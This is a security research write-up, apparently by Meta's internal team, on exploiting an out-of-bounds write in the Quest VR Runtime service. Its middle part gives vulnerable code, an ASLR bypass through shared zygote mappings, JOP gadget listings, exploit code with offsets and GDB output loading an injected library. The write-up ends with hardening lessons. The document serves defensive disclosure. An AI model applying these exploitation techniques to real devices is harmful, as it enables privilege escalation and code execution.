How a Quest 2 code review turned into a full exploit walkthrough

Meta's Native Assurance team routinely reviews code across the company's products looking for security weaknesses. In 2021, a review of a privileged service called VR Runtime on VROS—the AOSP-based operating system for Meta Quest devices—turned up multiple memory corruption vulnerabilities reachable from any installed application. The flaws never shipped to users, but the team decided to use them to answer a deeper question: if an attacker did find such a bug, what would exploitation actually look like on this platform?

The result was a working elevation-of-privilege exploit that achieves arbitrary native code execution in VR Runtime from an unprivileged application over Runtime IPC. The work produced concrete recommendations that Meta says it is now applying to improve the security of Quest products.

The VROS attack surface

VROS is an in-house Android build customized for Quest hardware. On top of AOSP, it adds firmware, kernel modifications, device drivers, system services, SELinux policies, and applications tailored to VR. Because it shares Android's foundation, VROS also shares Android's core security model: SELinux confines unprivileged code, and climbing to full device control typically requires chaining multiple vulnerabilities.

Image source: https://source.android.com/docs/core/architecture

VR applications on VROS are still just Android applications, but they rely on a set of system services to deliver the VR experience. One of those services, VR Runtime, handles time warp and composition for client apps. It lives in the com.oculus.vrruntimeservice process inside the com.oculus.systemdriver package (VrDriver.apk). Since VrDriver is installed to /system/priv-app/, the service runs with the priv_app SELinux domain, granting it privileges far beyond those of a normal application.

How applications talk to VR Runtime

Client applications reach VR Runtime through a custom IPC mechanism Meta calls Runtime IPC. It sits on top of UNIX pipes and ashmem shared memory, with a broker process called runtimeipcbroker handling the initial connection setup. Once established, the client and server communicate directly.

VR apps connect to VR Runtime using either the VrApi or OpenXR interface. Both load a client-side library dynamically from VrDriver.apk that implements the Runtime IPC channel. The startup sequence goes like this:

  1. A loader linked into every VR application lets the app work across multiple products and versions.
  2. At startup, the loader calls dlopen on vrapiimpl.so from VrDriver.apk and resolves the public VrApi/OpenXR function pointers.
  3. The application then creates a Runtime IPC connection to VR Runtime. This step is mediated by the native runtimeipcbroker process, which performs permission checks and then hands the connection off so client and server talk directly over pipes and shared memory.

Where the risk sits

The default SELinux domain for VROS applications is untrusted_app, covering both Meta Quest Store installs and sideloaded software. The domain is deliberately narrow, but it still permits communication with VR Runtime. That creates a privilege boundary worth attacking: if an untrusted app can exploit a bug in VR Runtime, it gains the service's elevated permissions.

The inputs crossing that boundary are RPC requests and shared memory reads and writes. Everything VR Runtime processes from an untrusted source is therefore part of its attack surface:

The exploitation scenario

Quest owners can enable developer mode, which allows sideloading applications and grants adb/shell access—but not root. The threat model for this work was an app that leverages that developer-mode access to escalate further. Such an app could be intentionally malicious or installed by a user seeking to jailbreak the headset.

The vulnerability: a repeated 8-byte write

The targeted flaw arrived in a 2021 commit that added handling for a new Runtime IPC message type. The code processed a request object whose fields are fully attacker-controlled:

 REGISTER_RPC_HANDLER(
    SetPerformanceIdealFeatureState,
    [=](const uint32_t clientId,
      const SetPerformanceIdealFeatureStateRequest request,
      bool& response) {
// ...  

PerformanceManagerState->IdealFeaturesState.features_[static_cast<uint32_t>(request.Feature)]
          .status_ = request.Status;     
PerformanceManagerState->IdealFeaturesState.features_[static_cast<uint32_t>(request.Feature)]
          .fidelity_ = request.Fidelity;
// ...
      response = true;
      return reflect::RPCResult_Complete;
    })

The reachable bug is an out-of-bounds write. Both request.Feature and request.Status come straight from the wire, and the destination is a fixed-size array, PerformanceManagerState->IdealFeaturesState.features_, placed in the .bss section of libvrruntimeservice.so:

enum class FeatureFidelity : uint32_t { ... };
enum class FeatureStatus : uint32_t { ... };
struct FeatureState {
  FeatureFidelity fidelity_;
  FeatureStatus status_;
};

struct FeaturesState {
  std::array<FeatureState, 31> features_;
};

Since the array index and value are both attacker-controlled, any VR application can send a crafted SetPerformanceIdealFeatureState message and perform an arbitrary 8-byte write at any 32-bit offset from the array. The condition is stable and repeatable.

Turning the write into code execution

The write primitive alone doesn't give control flow—the corruption target needs to be both reachable and attacker-invocable. The team used Ghidra to map the area of .bss adjacent to the array and look for forward-reachable targets:

They found one that fit: an array of function pointers inside a global ovrVulkanLoader instance. These pointers are resolved at runtime into libvulkan.so functions, and, crucially, some are invocable indirectly from attacker-supplied RPC input:

The chosen target was vkGetPhysicalDeviceImageFormatProperties, which is reachable via the CreateSwapChain RPC command. The call path flows through CreateTextureSwapChainVulkan:

Corrupting that one pointer and triggering the RPC path yields program counter control:

Why ASLR didn't save the day

Controlling the PC is only half the battle. ASLR normally prevents an attacker from knowing where libraries, the heap, or the stack live—information needed to build a JOP or ROP chain. The usual remedies are leaking address hints or finding another way. In this case, the team found something better.

$ adb shell ps -A
USER           PID  PPID     VSZ    RSS WCHAN            ADDR S NAME                       
root           694     1 5367252 128760 poll_schedule_timeout 0 S zygote64
u0_a5         1898   694 5801656 112280 ptrace_stop         0 t com.oculus.vrruntimeservice
u0_a80        7519   694 5383760 104720 do_epoll_wait       0 S com.oculus.vrexploit

Both the attacker's app and VR Runtime are forked from the same zygote64 process. Fork preserves the parent's address space, which means every library already mapped at fork time lands at identical addresses in both child processes. A comparison of the two processes' mappings confirms this—libc, for example, sits at the same base address in each:

$ adb shell cat /proc/1898/maps | grep libc.so
7dae043000-7dae084000 r--p 00000000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae084000-7dae11e000 --xp 00040000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae11e000-7dae126000 r--p 000d9000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae126000-7dae129000 rw-p 000e0000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
 
$ adb shell cat /proc/7519/maps | grep libc.so
7dae043000-7dae084000 r--p 00000000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae084000-7dae11e000 --xp 00040000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae11e000-7dae126000 r--p 000d9000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so
7dae126000-7dae129000 rw-p 000e0000 fd:00 286     /apex/com.android.runtime/lib64/bionic/libc.so

That removes the need to defeat ASLR entirely. With known addresses, the team could enumerate every shared library present in both processes and scan them for code reuse gadgets:

...
0x240b4: ldr x8, [x0]; ldr x8, [x8, #0x40]; blr x8; 
0x23ad0: ldr x8, [x0]; ldr x8, [x8, #0x48]; blr x8; 
0x23ab0: ldr x8, [x0]; ldr x8, [x8, #0x50]; blr x8; 
0x24040: ldr x8, [x0]; ldr x8, [x8, #0x70]; blr x8; 
0x23100: ldr x8, [x0]; ldr x8, [x8, #8]; blr x8; 
0x23ae0: ldr x8, [x0]; ldr x8, [x8]; blr x8; 
0x22ba8: ldr x8, [x0]; ldr x9, [x8, #0x30]; add x8, sp, #8; blr x9; 
0x231e0: ldr x8, [x0]; mov x19, x0; ldr x8, [x8, #0x58]; blr x8; 
0x208fc: ldr x8, [x0]; rev x0, x8; ret; 
0x231f0: ldr x8, [x19]; mov w20, w0; mov x0, x19; ldr x8, [x8, #0x60]; blr x8; 
0x22de4: ldr x8, [x1]; mov x0, x1; ldr x8, [x8, #0x70]; blr x8; 
0x179e4: ldr x8, [x20], #0x10; sub x19, x19, #1; ldr x8, [x8]; blr x8; 
0x17ea4: ldr x8, [x21]; mov x0, x21; ldr x8, [x8, #0x10]; blr x8; 
0x23b0c: ldr x8, [x21]; mov x0, x21; mov x1, x20; ldr x8, [x8, #0x48]; blr x8; 
0x17b38: ldr x8, [x22], #0x10; mov x0, x21; ldr x8, [x8]; blr x8; 
0x17ad8: ldr x8, [x22], #0xfffffffffffffff0; mov x0, x21; ldr x8, [x8]; blr x8; 
0x23be0: ldr x8, [x22]; mov w23, w0; mov x0, x22; ldr x8, [x8, #0x60]; blr x8; 

With the address space mapped and a gadget pool at hand, the final step was assembling a JOP chain that would execute an arbitrary payload inside the VR Runtime process.

Building the JOP chain

The exploit scenario assumed an untrusted application already installed on the device. The goal was to make the VR Runtime process call dlopen on a shared library shipped inside the malicious APK. When the runtime loaded that library, its initialization function would execute our payload automatically.

That meant our jump-oriented programming (JOP) chain had to perform two steps:

  1. Place a pointer in $x0 (the first argument register in the ARM64 ABI) that pointed to the path of our shared module.
  2. Redirect the program counter to dlopen.

At the moment of control-flow hijack, the register state we controlled is shown below. The challenge was that the only place we could inject controlled data was the target's .bss section, and we didn't know its absolute address, so we couldn't embed a direct pointer to it in our chain.

Fortunately, in the hijack state, the $x21 register happened to hold a pointer (ovrVulkanLoader) into that same .bss section. In theory we could just move $x21 — or an offset from it — into $x0 and get our controlled path string.

After extensive gadget hunting, we found one that performed the necessary move while preserving our control over the execution flow:

ldr        x2,[x21 , #0x80 ]
mov        w1,#0x1000
mov        x0,x21
blr        x2

A second gadget set $x1 (the second ARM64 argument register) to a benign value and then branched to dlopen:

mov        w1,#0x2
bl         <EXTERNAL>::dlopen undefined dlopen()

The write vulnerability we used was repeatable, so we could overwrite multiple locations at offsets from $x21. We issued several RPC commands to prepare the gadget state in memory and only then triggered the hijack. Combining the two gadgets this way let us load the shared library and achieve arbitrary native code execution:

  // Corrupt the `vulkanLoader.vkGetPhysicalDeviceImageFormatProperties` pointer which is
  // at +0x68. We hijack control flow by triggering a function call in
  // ovrSwapChain::CreateTextureSwapChainVulkan.
  // First gadget in eglSubDriverAndroid.so
  //  0010b3ac a2  42  40  f9    ldr        x2,[x21 , #0x80 ]
  //  0010b3b0 e1  03  14  32    mov        w1,#0x1000
  //  0010b3b4 e0  03  15  aa    mov        x0,x21
  //  0010b3b8 40  00  3f  d6    blr        x2
  const uint64_t vkGetPhysicalDeviceImageFormatPropertiesOffset = VulkanLoaderOffset + 0x68;
  const uint64_t FirstGadget = ModuleMap.at("eglSubDriverAndroid.so") + 0xb3'ac;
  Corruptions.emplace_back(vkGetPhysicalDeviceImageFormatPropertiesOffset, FirstGadget);


  // Second gadget in libcutils.so:
  //  0010bc78 41  00  80  52    mov        w1,#0x2
  //  0010bc7c ad  0d  00  94    bl         <EXTERNAL>::dlopen undefined dlopen()
  const uint64_t SecondGadget = ModuleMap.at("/system/lib64/libcutils.so") + 0xbc'78;
  Corruptions.emplace_back(VulkanLoaderOffset + 0x80, SecondGadget);

The same sequence as observed in GDB:

(gdb) break *0x7c98012c78
Breakpoint 1 at 0x7c98012c78

(gdb) c
Continuing.
Thread 41 "Thread-15" hit Breakpoint 1, 0x0000007c98012c78 in ?? ()

(gdb) x/s $x0
0x7bb11633e8:   "/data/app/com.oculus.vrexploit-OjL813hdSAtlc3fEkJKdrg==/lib/arm64/libinject-arm64.so"

(gdb) c
Continuing.
warning: Could not load shared library symbols for /data/app/com.oculus.vrexploit-OjL813hdSAtlc3fEkJKdrg==/lib/arm64/libinject-arm64.so.

At that point our objective was met: we had arbitrary code execution inside the VR Runtime process.

Key takeaways

We focused the post-exercise analysis on actionable improvements to Meta's security posture. The most notable outcomes are below.

Protecting function pointers in RW globals

Early in the engagement we noticed that VR Runtime stored many function pointers in writable global memory. During initialization, the process would call dlopen on system libraries and then use dlsym to populate those pointers. This pattern gives developers flexibility with vendor libraries that expose a common API (for example, libvulkan.so), but the pointers end up in read-write memory that is a prime target for memory-corruption overwrites. In this case they were within reach of our out-of-bounds write primitive, and they weren't protected by compiler mitigations like control-flow integrity.

After the exercise, we explored ways to make those pointers read-only once initialized — analogous to how full RELRO protects linker-computed function pointers at load time. Full RELRO re-maps the relevant pages as read-only after initialization, so malicious writes can't touch them. We applied this idea to VR Runtime by marking several global function pointers read-only after setup. Had that been in place during the engagement, exploitation would have been significantly harder. We're now working on an LLVM compiler pass to generalize the technique.

Observations on SELinux

SELinux was one of the most restrictive parts of exploit development — and also one of the more surprising. We fully expected it to block loading a .so from an untrusted app's data directory into a privileged process. It didn't. Android's default SELinux policy lets privileged applications (typically installed as platform_app, system_app, or priv_app) execute code under /data/app, which is where untrusted apps normally live.

Android allows this so privileged apps can be updated outside the OTA cycle. An updated privileged app lands in /data/app but keeps its privileged SELinux context. While we didn't develop a fix for this, it looks like a reasonable area for future hardening: privileged applications generally shouldn't be able to run code that belongs to less-privileged applications.